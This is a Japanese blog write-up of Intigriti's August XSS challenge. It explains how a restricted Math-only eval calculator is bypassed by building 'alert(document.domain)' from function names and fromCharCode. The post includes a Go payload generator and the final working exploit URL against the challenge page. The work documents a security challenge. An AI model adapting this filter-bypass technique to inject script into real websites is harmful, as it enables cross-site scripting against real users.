よーでんのブログ

One for All,All for わんわんお!

Intigriti's August XSS challenge writeup

Intigriti's August XSS challenge

challenge-0823.intigriti.io

8/21 ~ 8/28 で開催されたXSS challenge。
後述の通り , を 99 個利用しており、解いた人の中では一番泥臭いことをしていそう。

概要

問題のjs部分のみを引用。

    <script>
      (function(){
        name = 'Pure Functional Math Calculator'
        let next
        Math.random = function () {
          if (!this.seeds) {
            this.seeds = [0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
            next = this.seeds[new Date().getTime() % this.seeds.length]
          }
          next = next * 1103515245 + 12345
          return (next / 65536) % 32767
        }
        console.assert(Math.random() > 0)

        const result = document.querySelector('.result')
        const stack = document.querySelector('.stack-block')
        let operators = []

        document.querySelector('.pad').addEventListener('click', handleClick)

        let qs = new URLSearchParams(window.location.search)
        if (qs.get('q')) {
          const ops = qs.get('q').split(',')
          if (ops.length >= 100) {
            alert('Max length of array is 99, got:' + ops.length)
            return init()
          }

          for(let op of ops) {
            if (!op.startsWith('Math.')) {
              alert(`Operator should start with Math.: ${op}`)
              return init()
            }

            if (!/^[a-zA-Z0-9.]+$/.test(op)) {
              alert(`Invalid operator: ${op}`)
              return init()
            }
          }

          for(let op of ops) {
            addOperator(op)
          }

          calculateResult()
        } else {
          init()
        }

        function init() {
          addOperator('Math.random')
        }

        function addOperator(name) {
          result.innerText = `${name}(${result.innerText})`
          operators.push(name)

          let div = document.createElement('div')
          div.textContent = `${operators.length}. ${name}`
          stack.prepend(div)
        }

        function calculateResult() {
          result.innerText = eval(result.innerText)
        }

        function handleClick(e) {
          let className = e.target.className
          let text = e.target.innerText
          
          if (className === 'btn-fn') {
            addOperator(`Math.${text}`)
          } else if (className === 'btn-ac') {
            result.innerText = 'Math.random()';
            stack.innerHTML = '<div>1. Math.random</div>'
            operators = ['Math.random']
          } else if (className === 'btn-share'){
            alert('Please copy the URL!')
            location.search = '?q=' + operators.join(',')
          } else if (className === 'btn-equal') {
            calculateResult()
          }
        }
      })()

まずはこのjsでやってることを整理する。

クエリパラメータ q を取得し、"," で splitした結果が ops に格納される。

ops の各要素は Math. から始まる /^[a-zA-Z0-9.]+$/ にマッチする必要があり、その条件を満たしたときに result.innerText に反映される。
つまり Math.hogeMath.fuga.piyo のような形しか受け入れられず、Math オブジェクトに実装されているメソッドしか利用できない。

result.innerText が完成した後は ops入れ子構造にしていく。
例えば q=Math.random,Math.sin としたときは Math.sin(Math.random()) となる。
出来上がった result.innerTexteval して計算結果を反映するという流れ。

この状況で、alert(document.domain) を実行させることができればクリア。

writeup

関数の実行

関数を実行してくれそうなものがないと話にならない。
探してみたら、Array.prototype.reduce() なるものを見つけた。

developer.mozilla.org

配列の要素それぞれに対して、引数に渡した関数を実行させる関数。
試しに開発者ツールのconsoleで以下を実行してみると alert() が5回実行された。

Math.seeds.reduce(alert)

alert(document.domain) を実行するような関数を定義し、それを reduce に渡すことで実行させることができそうだ。

関数作成

alert(document.domain) を実行するような関数を定義したい。
後述の方法で文字列を作成できることは判明していたので、文字から関数を定義できれば良い。

Function.constructorが使える。

developer.mozilla.org

Math.abs.constructor("alert(document.domain)")()

これでalert(document.domain) が実行された。良い感じ。

文字列生成

では、 alert(document.domain) という文字列を作成していく。

['a', 'l', 'e', 'r', 't', '(', 'd', 'o', 'c', 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a', 'i', 'n', ')'].join([])
// alert(document.domain)

配列に1文字ずつ格納し、joinすることで文字列を生成する方針をとる。
(空配列でjoinしているのは空文字 "" が作成できないから。)

アルファベット生成

'a', 'l', 'e', 'r', 't', '(', 'd', 'o', 'c', 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a', 'i', 'n', ')' の文字をすべて Math.hogehoge() から作って push していく。

まずは Function.name を利用して関数名を String としてとってくる。
そしたら at(0) とかして 0 文字目を抽出。

developer.mozilla.org

Math.abs.name.at(0)
// a

これを配列に push していくことで配列を作っていく。対応表は以下。

"a": "Math.abs.name.at(Math.imul())"
"c": "Math.cbrt.name.at(Math.imul())"
"e": "Math.exp.name.at(Math.imul())"
"i": "Math.imul.name.at(Math.imul())"
"l": "Math.log.name.at(Math.imul())"
"m": "Math.max.name.at(Math.imul())"
"r": "Math.round.name.at(Math.imul())"
"t": "Math.tan.name.at(Math.imul())"
"d": "Math.constructor.defineProperties.name.at(Math.imul())"
"n": "Math.sin.name.at(Math.exp(Math.cos(Math.imul())))"
"o": "Math.cos.name.at(Math.cos(Math.imul()))"
"u": "Math.trunc.name.at(Math.exp(Math.cos(Math.imul())))"

at の引数として、0, 1, 2 を以下のように生成している。

0: "Math.imul()"
1: "Math.cos(Math.imul())"
2: "Math.exp(Math.cos(Math.imul()))"

ただ、これでは "(", ".", ")" が生成できない。

記号生成

記号は fromCharCode を使って気合で作成。

Math.abs.name.constructor.fromCharCode(40)
// (
Math.abs.name.constructor.fromCharCode(41)
// )
Math.abs.name.constructor.fromCharCode(46)
// .

Math.cos とかの組み合わせで 40, 41, 46 を作る必要がある。対応表は以下。

40: "Math.floor(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul())))))))"
41: "Math.ceil(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul())))))))"
46: "Math.floor(Math.expm1(Math.acosh(Math.exp(Math.exp(Math.cbrt(Math.cosh(Math.cos(Math.imul()))))))))"

空配列に対してこれらを push していくことで join させるための配列が作成できる。

空配列

今までスルーしていたが、各所で空配列が必要。

developer.mozilla.org

Array オブジェクトに splice というメソッドがあり、これに 0 を渡すことで Array を空にできる。

Math.seeds.splice(0)
// (5) [0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
Math.seeds
// []

組み合わせる

ここまでで作成した奴らを組み合わせる。
以下は検証中に作成していたコード。

package main

import (
    "fmt"
    "strings"
)

func reverse(s string) string {
    runes := []rune(s)
    for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 {
        runes[i], runes[j] = runes[j], runes[i]
    }
    return string(runes)
}

func main() {
    m := map[string]string{
        "a": "Math.abs.name.at(Math.imul(",
        "c": "Math.cbrt.name.at(Math.imul(",
        "e": "Math.exp.name.at(Math.imul(",
        "f": "Math.floor.name.at(Math.imul(",
        "h": "Math.hypot.name.at(Math.imul(",
        "i": "Math.imul.name.at(Math.imul(",
        "l": "Math.log.name.at(Math.imul(",
        "m": "Math.max.name.at(Math.imul(",
        "p": "Math.pow.name.at(Math.imul(",
        "r": "Math.round.name.at(Math.imul(",
        "s": "Math.sign.name.at(Math.imul(",
        "t": "Math.tan.name.at(Math.imul(",
        "v": "Math.valueOf.name.at(Math.imul(",

        "d": "Math.constructor.defineProperties.name.at(Math.imul(",
        "n": "Math.sin.name.at(Math.exp(Math.cos(Math.imul(",
        "o": "Math.cos.name.at(Math.cos(Math.imul(",
        "u": "Math.trunc.name.at(Math.exp(Math.cos(Math.imul(",
        "(": "Math.abs.name.constructor.fromCharCode(Math.floor(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul(",
        ")": "Math.abs.name.constructor.fromCharCode(Math.ceil(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul(",
        ".": "Math.abs.name.constructor.fromCharCode(Math.floor(Math.expm1(Math.acosh(Math.exp(Math.exp(Math.cbrt(Math.cosh(Math.cos(Math.imul(",
    }
    var q string
    q += "Math.seeds.reduce("                 // 実行
    q += "Math.abs.constructor("              // 文字列から関数を定義
    q += "Math.seeds.join(Math.seeds.splice(" // arrayを空配列でjoin

    // 2. 後ろから1文字ずつpush
    for _, v := range strings.Split(reverse("(document.domain)"), "") {
        q += "Math.seeds.push(" + m[v]
    }

    // 2. 後ろから1文字ずつpush。(push時の返り値を利用することで一文字でも少なく済ませる)
    q += "Math.seeds.push(Math.hypot.name.at("           // t
    q += "Math.seeds.push(Math.round.name.at(Math.imul(" // r
    q += "Math.seeds.push(Math.exp.name.at(Math.imul("   // e
    q += "Math.seeds.push(Math.clz32.name.at("           // l
    q += "Math.seeds.push(Math.abs.name.at("             // a

    // 1. seedsを空に
    q += "Math.seeds.splice(Math.imul"

    qs := strings.Split(q, "(")
    fmt.Println("len:", len(qs))
    for i := range qs {
        fmt.Printf("%v,", qs[len(qs)-1-i])
    }
}

単純に組み合わせるだけだと ( が個数制限を3つ越してしまった。

そこで push 時の返り値に seeds の長さが返ってくることに着目し、at(0)a が, at(1)l があるような関数名を利用して Math.imul( を3つだけ省略することができた。

できがったURLは以下。
, が99個制限で、使っているのが99個というギリギリ具合。

https://challenge-0823.intigriti.io/challenge/index.html?q=Math.imul,Math.seeds.splice,Math.abs.name.at,Math.seeds.push,Math.clz32.name.at,Math.seeds.push,Math.imul,Math.exp.name.at,Math.seeds.push,Math.imul,Math.round.name.at,Math.seeds.push,Math.hypot.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.ceil,Math.exp,Math.acosh,Math.exp,Math.floor,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.imul,Math.constructor.defineProperties.name.at,Math.seeds.push,Math.imul,Math.cos,Math.cos.name.at,Math.seeds.push,Math.imul,Math.cbrt.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.trunc.name.at,Math.seeds.push,Math.imul,Math.max.name.at,Math.seeds.push,Math.imul,Math.exp.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.sin.name.at,Math.seeds.push,Math.imul,Math.tan.name.at,Math.seeds.push,Math.imul,Math.cos,Math.cosh,Math.cbrt,Math.exp,Math.exp,Math.acosh,Math.expm1,Math.floor,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.imul,Math.constructor.defineProperties.name.at,Math.seeds.push,Math.imul,Math.cos,Math.cos.name.at,Math.seeds.push,Math.imul,Math.max.name.at,Math.seeds.push,Math.imul,Math.abs.name.at,Math.seeds.push,Math.imul,Math.imul.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.sin.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.ceil,Math.exp,Math.acosh,Math.exp,Math.ceil,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.splice,Math.seeds.join,Math.abs.constructor,Math.seeds.reduce

このURLを開くと、alert(document.domain) が22回実行される。
おそらく "(", ")", "." の生成にメソッドを使いすぎているので、それがなければもうちょっと綺麗にできそう。